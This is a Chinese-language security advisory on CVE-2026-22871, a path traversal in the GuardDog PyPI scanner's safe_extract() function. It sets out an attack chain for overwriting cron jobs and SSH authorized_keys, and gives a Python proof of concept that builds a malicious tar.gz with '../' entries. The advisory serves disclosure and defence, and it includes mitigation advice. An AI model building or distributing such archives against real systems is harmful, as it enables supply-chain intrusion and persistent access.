IPBUF安全漏洞报告
English
CVE-2026-22871 CVSS 9.8 严重

CVE-2026-22871 GuardDog safe_extract()路径遍历漏洞导致远程代码执行

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2026-22871
漏洞类型
路径遍历/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GuardDog

相关标签

路径遍历远程代码执行供应链攻击GuardDogPyPI文件写入CVE-2026-22871

漏洞概述

GuardDog是一款由DataDog开发的CLI工具,用于识别恶意的PyPI包。该工具在2.7.1之前的版本中存在路径遍历漏洞,源于safe_extract()函数对压缩包文件的提取处理不当。攻击者可以构造包含路径遍历序列(如../)的恶意PyPI包,当GuardDog扫描该恶意包时会触发漏洞,允许攻击者在系统任意位置写入文件。此漏洞可导致任意文件覆盖和远程代码执行(RCE),对运行GuardDog的系统构成严重威胁。由于该工具通常在CI/CD流水线或开发者环境中使用,攻击者可通过发布恶意PyPI包的方式实现供应链攻击,影响范围广泛。

技术细节

漏洞存在于GuardDog的safe_extract()函数中,该函数负责从PyPI包(.tar.gz格式)中提取文件。问题在于函数未能正确验证归档内文件的路径名,允许攻击者使用'../'等路径遍历序列将文件提取到目标目录之外的任意位置。攻击者可以构造一个恶意PyPI包,其setup.py或其他文件包含路径遍历Payload(如../../../../../../../etc/cron.d/malicious),当受害者使用GuardDog扫描该包时,恶意文件会被写入系统敏感位置。成功利用可实现任意文件覆盖(如覆盖系统配置文件、SSH authorized_keys、crontab等),从而获得远程代码执行权限。漏洞CVSS评分高达9.8,属于严重级别,无需任何认证或用户交互即可远程利用。

攻击链分析

STEP 1
步骤1
攻击者创建恶意PyPI包:在.tar.gz归档中植入包含路径遍历序列(如../../../../../../../)的文件名
STEP 2
步骤2
攻击者将恶意包发布至PyPI或通过其他渠道分发,等待受害者使用GuardDog扫描
STEP 3
步骤3
受害者运行GuardDog CLI工具扫描恶意包,触发safe_extract()函数进行包内容提取
STEP 4
步骤4
漏洞代码未验证路径合法性,恶意文件被提取到目标目录之外的任意系统路径(如/etc/cron.d/、~/.ssh/)
STEP 5
步骤5
攻击者通过覆盖SSH authorized_keys、crontab任务或系统配置文件实现持久化远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os # Create malicious PyPI package with path traversal def create_malicious_pypi(): # Create a malicious tar.gz file with path traversal malicious_filename = '../../../../../../../tmp/pwned_by_guarddog_bypass' with tarfile.open('malicious_package-1.0.0.tar.gz', 'w:gz') as tar: # Add a file with path traversal in its name info = tarfile.TarInfo(name=malicious_filename) info.size = len(b'GuardDog Path Traversal Exploit Success!') tar.addfile(info, io.BytesIO(b'GuardDog Path Traversal Exploit Success!')) # Also add legitimate-looking package files setup_info = tarfile.TarInfo(name='malicious_package-1.0.0/setup.py') setup_content = b'# Malicious package\nprint("This is a malicious package")' setup_info.size = len(setup_content) tar.addfile(setup_info, io.BytesIO(setup_content)) print('[+] Created malicious PyPI package: malicious_package-1.0.0.tar.gz') # Simulate GuardDog vulnerable safe_extract() behavior def vulnerable_extract(tar_path, dest_dir): """ Simulates the vulnerable safe_extract() function in GuardDog < 2.7.1 Does not sanitize paths containing '../' sequences """ with tarfile.open(tar_path, 'r:gz') as tar: for member in tar.getmembers(): # VULNERABLE: No path validation target_path = os.path.join(dest_dir, member.name) tar.extract(member, dest_dir) print(f'[+] Extracted to: {os.path.abspath(target_path)}') if __name__ == '__main__': import io create_malicious_pypi() # Simulate GuardDog scanning the malicious package print('\n[~] Simulating GuardDog scanning...') vulnerable_extract('malicious_package-1.0.0.tar.gz', '/tmp/guarddog_scan') print('\n[!] Check /tmp/pwned_by_guarddog_bypass for successful exploitation')

影响范围

GuardDog < 2.7.1

防御指南

临时缓解措施
在官方修复版本发布前,建议暂时限制GuardDog对未知来源PyPI包的扫描操作,仅扫描来自可信渠道的包。同时可配置系统目录权限,限制非root用户对敏感路径(如/etc、/var/spool/cron等)的写入权限。对于必须扫描的场景,建议在隔离的容器或虚拟机环境中执行GuardDog,并限制其文件系统访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表